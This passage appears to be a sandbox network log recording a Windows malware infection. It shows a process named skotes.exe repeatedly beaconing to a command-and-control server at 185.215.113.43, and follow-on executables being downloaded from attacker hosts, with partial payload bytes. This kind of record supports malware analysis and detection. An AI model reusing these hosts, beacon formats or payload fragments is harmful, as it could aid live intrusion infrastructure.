15	192.168.2.4	49979	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:37.824115992 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007233001&unit=246122658369
Nov 18, 2024 21:04:38.735032082 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49987	62.76.234.151	80	412	C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:38.890446901 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 21:04:39.916932106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 18 Nov 2024 20:04:39 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 18, 2024 21:04:39.916948080 CET	212	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL
Nov 18, 2024 21:04:39.917900085 CET	1236	IN	Data Raw: 11 39 9f 7e 7f 8d 16 97 05 0a 25 a4 c7 10 6b c2 9f f9 a7 a4 89 e5 c1 96 6b 49 af 33 c0 f4 2f b5 f2 4f ec 13 a2 93 29 5b 5a 07 4b 7c cc b9 45 cc 62 3b c4 f5 6f ca 0f fa 12 e9 62 cb aa be 08 cb 0c 54 df 37 24 29 22 9d 38 f7 f2 38 e8 c3 68 d3 63 4d Data Ascii: 9~%kkI3/O)[ZK\|Eb;obT7$)"88hcM^Q#{yq3B\|W/)1<v}:./dA(oRBZkWH,Fypr6&0.}.tWfl#J4@y^ST%kQb.o:J,rr\
Nov 18, 2024 21:04:39.917963028 CET	212	IN	Data Raw: 4c 02 37 d9 3d 07 d1 9d 61 11 8d 96 d6 0d db 40 d1 68 aa 97 8e 36 9a 11 93 5c d5 35 30 23 bf 4d a3 4e f3 a8 35 ca 12 56 f6 d8 91 d4 74 a3 8b b3 7d 80 49 88 1d 44 48 6a cb 0c 26 5a 38 b9 54 a9 e2 07 29 8a 2a c2 de 6f df 94 df dd 15 ef 09 30 f8 0e Data Ascii: L7=a@h6\50#MN5Vt}IDHj&Z8T)*o0OosJ\|/0BbQ'!j/f5}Iz60Dq)lrl ]]tp=+sIphl__k
Nov 18, 2024 21:04:39.918987989 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 18, 2024 21:04:39.919013977 CET	1236	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KDzBd#C"Im,sbp"\|I
Nov 18, 2024 21:04:39.919032097 CET	424	IN	Data Raw: 9b 5e 55 ea c8 04 30 09 a0 ad 6f 98 39 07 3a 09 34 d5 70 69 3b c7 68 0f ab 1d 64 83 ff 02 7a eb ec f2 4e 4d 5b 8e 0f d1 38 74 27 92 6d d5 b8 69 22 6b 23 ba 3c 56 55 71 64 2f 27 55 80 14 9d 28 5c 63 f2 ae 37 5e 00 18 5f 83 bd 60 7c 5d 23 cd 0c 6f Data Ascii: ^U0o9:4pi;hdzNM[8t'mi"k#<VUqd/'U(\c7^_`\|]#o,za7n]$^__aC9Vejc#1#(vcRAvO+:uoC{Th;#w-f3e]kZI0k)To}@NVPbq
Nov 18, 2024 21:04:39.921529055 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 18, 2024 21:04:39.921555996 CET	1236	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(w.A?o}'S54 N9E
Nov 18, 2024 21:04:39.921570063 CET	424	IN	Data Raw: e4 06 be 7d 2a a6 43 9e ff d1 4e c1 98 f1 24 f0 96 65 fb e0 b9 97 ea 12 4d ed e9 69 9d 76 c2 28 05 01 38 41 0d ca 7e ae 92 c2 1d 02 df f9 00 db c5 11 f5 e2 59 6a 5f bd 95 30 16 f5 e5 c4 df 4e 75 05 05 ab 33 06 f4 70 f4 23 fc 98 3c 08 ac 3f c5 ff Data Ascii: }CN$eMiv(8A~Yj_0Nu3p#<?hJqg}UMR^N5u&;,r/xB4wcZ.3ApDvg:]U5M3'8kNBM2h#gI?T0+]`5B1E^go$
Nov 18, 2024 21:04:39.923639059 CET	1236	IN	Data Raw: 84 f0 98 20 cb 7a 7a d2 2b 7c 9c cf 4d 80 85 a1 c0 a1 c5 97 a6 60 56 db 3b ef 93 30 9a 5d e3 a7 90 c4 f7 2a 21 72 a6 df 98 af 5f 54 57 db 87 70 2d 45 63 d2 a6 a3 f8 37 84 c7 b0 a5 c3 82 69 9b ae 52 33 2e 03 33 28 38 19 cd 9e 46 0e b9 df 50 df 39 Data Ascii: zz+\|M`V;0]!r_TWp-Ec7iR3.3(8FP98BV{EB-REwLc^y,j}]9>1CA+#(/:jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50001	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:40.456141949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:04:41.370186090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50015	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:42.944736958 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:04:43.861069918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50024	185.215.113.16	80	7712	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:44.393501043 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 21:04:45.307238102 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:45 GMT Content-Type: application/octet-stream Content-Length: 2800640 Last-Modified: Mon, 18 Nov 2024 19:16:16 GMT Connection: keep-alive ETag: "673b9280-2abc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@vzknjvsv`\:@vkrybwpr +@.taggant@ +"@
Nov 18, 2024 21:04:45.307296038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:45.307354927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:45.307405949 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:45.307440996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:45.307476997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:45.307548046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:45.307583094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:45.307615995 CET	448	IN	Data Raw: 26 71 06 bb 57 ef e7 84 47 c8 f5 bb 0c a5 e2 ab 21 d9 c9 31 ca e7 b9 5c fb c8 69 a3 e2 0a eb 6b 77 84 c3 e1 16 bb 98 9d 28 d6 19 7d 70 b9 ed a8 32 65 12 3c 45 f6 d2 56 df 0b 91 21 6d 31 33 4c 4d 0d 90 99 f2 82 69 d3 dc ea c6 83 d4 8b a4 e1 3b bb Data Ascii: &qWG!1\ikw(}p2e<EV!m13LMi;s7BMlXGz!W6jYgMo;^#z'}%))GNW)D-$}9tHKkLeoS8OJYPOU
Nov 18, 2024 21:04:45.307650089 CET	1236	IN	Data Raw: d5 d6 e6 ee 07 0f c2 2d 12 e1 d9 81 fc 8f a2 19 f7 03 8e 87 ca b9 86 65 e4 09 d6 e1 53 55 0f 27 c1 63 8d 6b 53 12 84 f1 3f a1 83 5a 8a 87 72 3f ad 01 a8 39 72 c7 a9 9f 78 08 04 73 ed ce 01 60 08 d2 8b 4d 7c 7e 0a 00 80 d7 4a 48 79 2b 8c db 3c fa Data Ascii: -eSU'ckS?Zr?9rxs`M\|~JHy+<W<MWSV[HDCU.U]hJVgXZj]LKrX)gol3dw]2OD<EB@1hy!zwm^
Nov 18, 2024 21:04:45.312496901 CET	1236	IN	Data Raw: 6c da f3 df 91 96 a9 05 80 eb 8e ec 72 cd 7a 8e 31 56 ca ad 96 6b 0a 00 56 e0 ce 5c 3b be 8f a0 d7 d8 96 a2 4a ed 97 6c 2e 23 9d bc 13 96 00 68 2d 29 97 b0 1c 64 b3 e5 58 76 a3 a7 1b 9a 76 28 50 a2 f6 9c 35 b0 f7 53 37 99 01 37 4e 38 fa 9f 1d cb Data Ascii: lrz1VkV\;Jl.#h-)dXvv(P5S77N8"bV!@RWrk&Da'Y}7!>[Q},+k/m2vA^dB{\|H0X=jc\|K:ZT7<ZVIT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50035	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:45.576571941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:04:46.492765903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50048	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:48.015700102 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:04:48.934334040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50066	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:50.848862886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:04:51.806381941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50082	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:53.323343992 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:04:54.256661892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50087	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:55.887089968 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:04:56.784883022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50095	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:58.305699110 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:04:59.839349985 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 18, 2024 21:04:59.840653896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 18, 2024 21:04:59.840701103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50104	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:05:01.553838015 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
